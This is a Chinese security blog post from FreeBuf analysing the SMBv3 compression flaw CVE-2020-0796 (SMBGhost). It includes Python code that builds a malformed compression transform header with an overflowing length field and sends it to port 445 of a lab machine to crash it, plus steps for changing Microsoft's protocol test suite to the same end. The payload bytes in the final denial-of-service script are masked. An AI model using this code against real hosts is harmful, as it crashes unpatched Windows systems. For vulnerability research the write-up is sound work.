freeBuf
主站

分類

漏洞 工具 極客 Web安全 系統安全 網絡安全 無線安全 設備/客戶端安全 數據安全 安全管理 企業安全 工控安全

特色

頭條 人物志 活動 視頻 觀點 招聘 報告 資訊 區塊鏈安全 標準與合規 容器安全 公開課

官方公眾號企業安全新浪微博

FreeBuf.COM網絡安全行業門戶,每日發布專業的安全資訊、技術剖析。

FreeBuf+小程序

FreeBuf+小程序

SMBv3遠程代碼執行漏洞(CVE-2020-0796)分析
2020-03-13 18:49:42

前言

2020.03.11 凌晨左右, 微軟泄露一個SMB遠程代碼執行漏洞(CVE-2020-0796), 根據該漏洞描述是 CompressionTransformHeader 的使用出現了問題。
2020.03.11 胖虎弟作為一個純Web狗, 只知道SMB走445端口能開文件共享服務,可是通過簡單的搜索發現這個漏洞復現應該很簡單,于是嘗試寫出溢出POC。

本文是偏向Web狗的視角去描述一次發掘并利用二進制漏洞的過程,給大家圖一樂

前期信息收集

2020.03.11 剛拿到這個漏洞信息去google了一下(SMB3 deCompression)
https://www.mail-archive.com/cifs-protocol@lists.samba.org/msg00639.html
這個鏈接很有意思
花了半天時間把郵件看了一下, 收集到如下信息
1.這個洞是smb 3.1.1才有
2.可能跟 lz77 壓縮算法解密代碼有關系
3.問題提出者 Aurélien Aptel 是 這個SUSE Labs Samba 團隊的, 并且把修復后的代碼貢獻到wireshark里面了
4.這個問題在2019年7月15號就提出了
5.影響?the latest Windows Server 2019?(應該是截止當時2019.07.15)

lz77解密算法可能存在問題?


先測試這個出了問題的lz77解密算法
[MS-XCA]: Processing | Microsoft Docs
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-xca/34cb9ab9-5ce6-42d7-a518-107c1c7c65e7

lz77 deCompression算法的Python實現 (根據當時錯誤的 MS-XCA 偽代碼)
https://ideone.com/7Lr6tN

這里存在一處錯誤, 缺少對 4-bytes的校驗

修復后的代碼如下

#!/usr/bin/env python3
from pprint import pprint as P
import struct


def test(data_in, data_out):
    print("==========================")
    print("IN: %s" % data_in)
    try:
        r = decode(data_in)
    except:
        print("ERR: exception during decoding")
    else:
        print("FINAL OUT: %s" % r)
        if r == data_out:
            print("MATCH")
        else:
            print("ERR: decompressed output doesnt match %d %d" % (len(r), len(data_out)))


def main():
    test(bytes.fromhex(" ff ff ff 1f 61 62 63 17 00 0f ff 26 01"),
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc' +
         b'abcabcabcabcabcabcabcabcabcabcabcabcabcabcabcabc')

    test(bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00'),
         b'\xff' * (1024 * 128))


def decode(ibuf):
    obuf = bytearray()
    BufferedFlags = 0
    BufferedFlagCount = 0
    InputPosition = 0
    OutputPosition = 0
    LastLengthHalfByte = 0

    def output(x):
        obuf.append(x)
        # print("OUT: %02x"%x)

    while True:
        if BufferedFlagCount == 0:
            # Read 4 bytes at InputPosition
            BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
            InputPosition += 4
            BufferedFlagCount = 32
        BufferedFlagCount = BufferedFlagCount - 1
        if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
            # Copy 1 byte from InputPosition to OutputPosition.  Advance both.
            output(ibuf[InputPosition])
            InputPosition += 1
            OutputPosition += 1
        else:
            if InputPosition == len(ibuf):
                # Decompression is complete.  Return with success.
                return obuf
            # Read 2 bytes from InputPosition
            MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
            InputPosition += 2
            MatchLength = MatchBytes % 8
            MatchOffset = (MatchBytes // 8) + 1
            if MatchLength == 7:
                if LastLengthHalfByte == 0:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    MatchLength = MatchLength % 16
                    LastLengthHalfByte = InputPosition
                    InputPosition += 1
                else:
                    # read 1 byte from LastLengthHalfByte position
                    MatchLength = ibuf[LastLengthHalfByte]
                    MatchLength = MatchLength / 16
                    LastLengthHalfByte = 0
                if MatchLength == 15:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    InputPosition += 1
                    if MatchLength == 255:
                        # read 2 bytes from InputPosition
                        MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                        InputPosition += 2
                        if MatchLength == 0:
                            MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                            InputPosition += 4
                        if MatchLength < 15 + 7:
                            raise Exception("error")
                        MatchLength -= (15 + 7)
                    MatchLength += 15
                MatchLength += 7
            MatchLength += 3
            # print(MatchLength)
            for i in range(int(MatchLength)):  # i = 0 to MatchLength - 1:
                # Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
                output(obuf[OutputPosition - MatchOffset])
                OutputPosition += 1


def encode(symbols):
    Flags = 0
    FlagCount = 0
    FlagOutputPosition = 0
    OutputPosition = 0
    LastLengthHalfByte = 0

    buffer = bytearray()

    def output(x):
        buffer.append(x)
        # print("OUT: %02x"%x)

    for symbol in symbols:
        if isinstance(symbol ,''):
            pass

if __name__ == '__main__':
    main()

這里?bytes.fromhex('ff ff ff 7f ff 07 00 0f ff 00 00 fc ff 01 00')?通過lz77 decode 就可以解碼出來 65536個字節, 我開始一直以為是這里溢出的(其實不是,但是這里會跑出異常)

這里就猜測, 是不是可以發送這個包讓smb服務器解密然后報錯退出

按照這個思路, 后面就需要構造smb的數據包了, 想了想得去找一個Python實現的smb客戶端(方便修改操作,tomcat ajp LFI當時就是這么挖出來的)和windows Server 2019 1909的測試環境

于是就先虛擬機安裝了windows Server 2019 1909

ed2k://|file|cn_windows_10_consumer_editions_version_1909_updated_jan_2020_x64_dvd_47161f17.iso|5417457664|274FEBA5BF0C874C291674182FA9C851|/

嘗試構造SMB數據包

然后去github搜索smb3的相關Python實現,找到幾個相關的項目
https://github.com/jborean93/smbprotocol
https://github.com/SecureAuthCorp/impacket/blob/master/impacket/smbconnection.py
https://github.com/miketeo/pysmb
https://github.com/vphpersson/smb

然后過濾了一下是否包含Compression/smb3.1.1也就剩下

https://github.com/vphpersson/smb
https://github.com/jborean93/smbprotocol

相對比較有希望, 然后知道繼續深入了解到是COMPRESSION_TRANSFORM_HEADER這個關鍵字段

https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0#Appendix_A_Target_69

然后繼續github搜索,發現一個微軟實現的測試集,這里包含了所有的相關測試

https://github.com/microsoft/WindowsProtocolTestSuites/blob/d78a8339ec98cbd79efb0bd4ec6938440ca3c7a0/ProtoSDK/MS-SMB2/Packets/Smb2CompressedPacket.cs

因為對微軟的這套很不熟,2020.03.11裝了一晚上跑起來了但是也不太會用,所以繼續研究使用 https://github.com/jborean93/smbprotocol

smbprotocol里面有些地方相對比較清晰,可以自己操作一些數據, 構建數據包
比如smbprotocol/examples/low-level/file-management.py

查看 https://github.com/microsoft/WindowsProtocolTestSuites/commit/631824e4f1077d3b73483afb2c425c5883c84c8b

發現微軟幾天前剛剛更新lz77的解密算法, 所以以為這里有漏洞(雖然后面發現關鍵漏洞函數不在這里)

后來搜索 lz77 pcap, 碰碰運氣,結果發現 wireshark 已經存在 lz77的smb pcap包提供了,下載分析

https://github.com/wireshark/wireshark/blob/master/test/captures/smb311-lz77-lz77huff-lznt1.pcap.gz

嘗試構造 SMB2CompressionTransformHeader

然后根據 smbprotocol.connection.Connection.connect 中的相關代碼,以及smbprotocol.connection.SMB2TransformHeader

SMB2TransformHeader

class SMB2TransformHeader(Structure):
    """
    [MS-SMB2] v53.0 2017-09-15

    2.2.41 SMB2 TRANSFORM_HEADER
    The SMB2 Transform Header is used by the client or server when sending
    encrypted message. This is only valid for the SMB.x dialect family.
    """

    def __init__(self):
        self.fields = OrderedDict([
            ('protocol_id', BytesField(
                size=4,
                default=b"\xfdSMB"
            )),
            ('signature', BytesField(
                size=16,
                default=b"\x00" * 16
            )),
            ('nonce', BytesField(size=16)),
            ('original_message_size', IntField(size=4)),
            ('reserved', IntField(size=2, default=0)),
            ('flags', IntField(
                size=2,
                default=1
            )),
            ('session_id', IntField(size=8)),
            ('data', BytesField())  # not in spec
        ])
        super(SMB2TransformHeader, self).__init__()

參考文檔
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/1d435f21-9a21-4f4c-828e-624a176cf2a0

可以嘗試構造 SMB2CompressionTransformHeader

SMB2CompressionTransformHeader

class SMB2CompressionTransformHeader(Structure):
    def __init__(self):
        self.fields = OrderedDict([
            ('protocol_id', BytesField(
                size=4,
                default=b"\xfcSMB"
            )),
            ('OriginalCompressedSegmentSize', IntField(
                size=4,
                default=0x00
            )),
            ('CompressionAlgorithm', IntField(
                size=2,
                default=0x0002
            )),
            ('Flags', IntField(
                size=2,
                default=0x0000 #其實漏洞點在這里
            )),
            ('Length', IntField(
                size=4,
                default=0x00
            )),

        ])
        super(SMB2CompressionTransformHeader, self).__init__()

可以構造出來一個符合 smbv3.1.1 CompressionTransformHeader的包

import uuid
from collections import OrderedDict
import socket

from smbprotocol import Commands

from smbprotocol.connection import *

from smbprotocol.structure import BytesField, IntField, Structure
#!/usr/bin/env python3
from pprint import pprint as P
import struct


def decode(ibuf):
    obuf = bytearray()
    BufferedFlags = 0
    BufferedFlagCount = 0
    InputPosition = 0
    OutputPosition = 0
    LastLengthHalfByte = 0

    def output(x):
        obuf.append(x)
        # print("OUT: %02x"%x)

    while True:
        if BufferedFlagCount == 0:
            # Read 4 bytes at InputPosition
            BufferedFlags = struct.unpack_from('<I', ibuf, InputPosition)[0]
            InputPosition += 4
            BufferedFlagCount = 32
        BufferedFlagCount = BufferedFlagCount - 1
        if (BufferedFlags & (1 << BufferedFlagCount)) == 0:
            # Copy 1 byte from InputPosition to OutputPosition.  Advance both.
            output(ibuf[InputPosition])
            InputPosition += 1
            OutputPosition += 1
        else:
            if InputPosition == len(ibuf):
                # Decompression is complete.  Return with success.
                return obuf
            # Read 2 bytes from InputPosition
            MatchBytes = struct.unpack_from('<H', ibuf, InputPosition)[0]
            InputPosition += 2
            MatchLength = MatchBytes % 8
            MatchOffset = (MatchBytes // 8) + 1
            if MatchLength == 7:
                if LastLengthHalfByte == 0:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    MatchLength = MatchLength % 16
                    LastLengthHalfByte = InputPosition
                    InputPosition += 1
                else:
                    # read 1 byte from LastLengthHalfByte position
                    MatchLength = ibuf[LastLengthHalfByte]
                    MatchLength = MatchLength / 16
                    LastLengthHalfByte = 0
                if MatchLength == 15:
                    # read 1 byte from InputPosition
                    MatchLength = ibuf[InputPosition]
                    InputPosition += 1
                    if MatchLength == 255:
                        # read 2 bytes from InputPosition
                        MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                        InputPosition += 2
                        if MatchLength == 0:
                            MatchLength = struct.unpack_from('<H', ibuf, InputPosition)[0]
                            InputPosition += 4
                        if MatchLength < 15 + 7:
                            raise Exception("error")
                        MatchLength -= (15 + 7)
                    MatchLength += 15
                MatchLength += 7
            MatchLength += 3
            # print(MatchLength)
            for i in range(int(MatchLength)):  # i = 0 to MatchLength - 1:
                # Copy 1 byte from OutputBuffer[OutputPosition - MatchOffset]
                output(obuf[OutputPosition - MatchOffset])
                OutputPosition += 1


class SMB2CompressionTransformHeader(Structure):
    def __init__(self):
        self.fields = OrderedDict([
            ('protocol_id', BytesField(
                size=4,
                default=b"\xfcSMB"
            )),
            ('OriginalCompressedSegmentSize', IntField(
                size=4,
                default=0x00
            )),
            ('CompressionAlgorithm', IntField(
                size=2,
                default=0x0002
            )),
            ('Flags', IntField(
                size=2,
                default=0x0000
            )),
            ('Length', IntField(
                size=4,
                default=0x00
            )),

        ])
        super(SMB2CompressionTransformHeader, self).__init__()


# 這里填充的是從wireshark里面摳出來已經lz77編碼過的數據
header_actual = b'\xb0\x82\x88\x00\xfe\x53\x4d\x42\x40\x00\x01\x00\x01\x00\x08\x00\x0a\x4c\x00\x00\x00\x06\x8a\x00\x00\x00\xff\xfe\x00\x9a\x00\x6d\x79\x00\x10\xa4\x00\x37\x00\x11\x11\x00\x50\x00\xff\xff\xff\x5f\x00\xbf\x00\x61\x07\x00\x0f\xff\xfc\x0f'
print(header_actual)
print(len(header_actual))
print("--"*20)

message = SMB2CompressionTransformHeader()
message['OriginalCompressedSegmentSize'] = len(decode(header_actual))
message['Length'] = 0xffffffff
actual = message.pack()
print(message)
msg_body_len = len(actual + header_actual)
print(msg_body_len)
L = bytes.fromhex(hex(msg_body_len)[2:])
print(L)
nbss = b'\x00' + b'\x00' * (3-len(L)) + L
print(nbss)

smb_payload = nbss + actual + header_actual
s = socket.socket(2, 1)
s.connect(("192.168.38.136", 445))
s.send(smb_payload)
buff_res = s.recv(4096)
print(buff_res)
s.close()

微軟補丁發布&補丁對比細節公開

2020.03.12日夜間微軟發布了對應的補丁, 2020.03.13 凌晨陸續紕漏相關補丁對比細節

https://www.synacktiv.com/posts/exploit/im-smbghost-daba-dee-daba-da.html

這里提到我之前發現的 微軟Windows協議測試包

https://github.com/microsoft/WindowsProtocolTestSuites/blob/d78a8339ec98cbd79efb0bd4ec6938440ca3c7a0/ProtoSDK/MS-SMB2/Packets/Smb2CompressedPacket.cs

到這里我已經看了1,2天的smb協議了,大概知道是怎么回事了, 我大方向是還是對的

通過 WindowsProtocolTestSuites 構造SMB數據包

這里修改?Smb2Compression?中的?compressedPacket.Header.Offset?為?0xffffffff?即可, 然后本地再次啟動?WindowsProtocolTestSuites

安裝依賴可以使用?WindowsProtocolTestSuites\InstallPrerequisites\InstallPrerequisites.ps1

這里會幫你安裝 vs2017或者vs2019

啟動項目,選擇
\WindowsProtocolTestSuites

然后在解決方案管理器中點擊

\WindowsProtocolTestSuites\TestSuites\FileServer\src\FileServer.sln

調出測試資源管理器,得到如下界面

如果運行報錯可以把如下代碼注釋掉,這是個檢測系統版本的判斷條件,對測試沒有影響

// Check platform
/* if (TestConfig.IsWindowsPlatform)
{
BaseTestSite.Assume.IsFalse(TestConfig.Platform < Platform.WindowsServerV1903, "Windows 10 v1809 operating system and prior, Windows Server v1809 operating system and prior, and Windows Server 2019 and prior do not support compression.");
}*/

另外還需要修改一處測試config文件 (可以搜索?192.168.1.11查找)

\WindowsProtocolTestSuites\TestSuites\FileServer\src\Common\TestSuite\CommonTestSuite.deployment.ptfconfig

這是本次測試的配置文件,修改對應的選線為目標靶機即可,密碼最好填正確的, 比較方便抓包測試(有些測試步驟需要認證,方便wireshark抓包),其實不需要密碼

然后修改\WindowsProtocolTestSuites\ProtoSDK\MS-SMB2\Common\Smb2Compression.cs?中的compressedPacket.Header.Offset = 0xffffffff;

找到?Microsoft.Protocols.TestSuites.FileSharing.SMB2.TestSuite.Compression.BVT_SMB2Compression_LZ77?運行測試

這里打開wireshark抓包,若是虛擬機是nat模式的話,選擇抓vnet8網卡

這里一共2個請求包一個響應包, 此時win10測試靶機已經藍屏

因為這里微軟測試包發包時使用了smb簽名,所以不能重放,所以按照smb2 通信圖猜測,只需要一個協商包一個壓縮包即可實現dos

這里協商包從 https://github.com/ollypwn/SMBGhost 扣了出來,因為這里的smb協商包沒有簽名,然后我修改了加密算法為 lz77

然后追加一個lz77的壓縮包

(這里POC僅能導致藍屏, 沒有其他攻擊作用, 不要來檢測漏洞)

# CVE-2020-0796 DOS EXP
import socket
s = socket.socket(2, 1)
s.connect(("192.168.38.136", 445))
print("send Negotiate.....")
smb_payload_1 = b'相關原因馬賽克'
s.send(smb_payload_1)
buff_res = s.recv(4096)
print("send Payload.....")
smb_payload = b"相關原因馬賽克"
s.send(smb_payload)
buff_res = s.recv(4096)
s.close()

大概邏輯是客戶端先發送一個Negotiate包跟Smb server商議使用 lz77 加密傳輸后續消息(加密方式可能無關,但是這個比較好實現)

然后 再發送一個修改了offset的使用了 CompressionTransformHeader 的數據包

觸發smb server中的整形溢出漏洞,然后Win10測試靶機崩潰藍屏

攻擊客戶端

同樣的原理, 誘導客戶端訪問 UNC格式路徑也可以觸發這個漏洞
這里構造一個惡意服務器, 等待客戶端連接, 響應一個Negotiate包跟Smb clinet商議使用加密傳輸, 然后接收客戶端下一個請求,再返回一個惡意的壓縮包就ok,視頻如下

DOS Pcap包

CVE-2020-0796_dos_exp

網傳版本檢測的POC補丁誤報

檢測POC pcap
https://github.com/ollypwn/SMBGhost/blob/master/SMBGhost.pcap

NEGOTIATE_CONTEXT 參考這里
https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-smb2/15332256-522e-4a53-8cd7-0bd17678a2f7

可以看到協商請求包中NEGOTIATE_CONTEXT有2個,所以NegotiateContextCount為2

CAPABILITIES分別為SMB2_PREAUTH_INTEGRITY_CAPABILITIES?和?SMB2_COMPRESSION_CAPABILITIES

如果服務器支持, 就會所以返回NEGOTIATE_CONTEXT為2, 所以POC檢測協商返回包中的NegotiateContextCount是否為2,如果為2且smb支持3.1.1方言就認為目標有漏洞

但這里有個問題,如果目標打了smb補丁,這里還會返回NegotiateContextCount為2,所以目前的版本檢測POC在目標打補丁后會有誤報

作者:斗象能力中心 TCC – 小胖虎

本文作者:, 轉載請注明來自FreeBuf.COM

# 漏洞分析
被以下專輯收錄,發現更多精彩內容
+ 收入我的專輯
評論 按熱度排序

登錄/注冊后在FreeBuf發布內容哦

相關推薦
  • 0 文章數
  • 0 評論數
  • 0 關注者
登錄 / 注冊后在FreeBuf發布內容哦
收入專輯
四月天小说网